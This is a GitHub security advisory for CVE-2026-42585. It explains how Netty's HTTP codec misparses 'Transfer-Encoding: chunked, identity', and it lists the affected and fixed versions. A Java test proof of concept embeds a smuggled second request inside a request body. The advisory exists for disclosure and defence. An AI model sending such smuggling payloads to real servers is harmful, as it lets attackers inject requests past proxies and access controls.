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GHSA-38f8-5428-x5cv

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Source: GitHub Advisory Database (reviewed) Moderate CVE-2026-42585

Packages

EcosystemPackageAffectedFixed in
Maven io.netty:netty-codec-http >= 4.2.0.Alpha1, < 4.2.13.Final 4.2.13.Final
Maven io.netty:netty-codec-http < 4.1.133.Final 4.1.133.Final

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

References

External links from the advisory. They lead to third-party sites.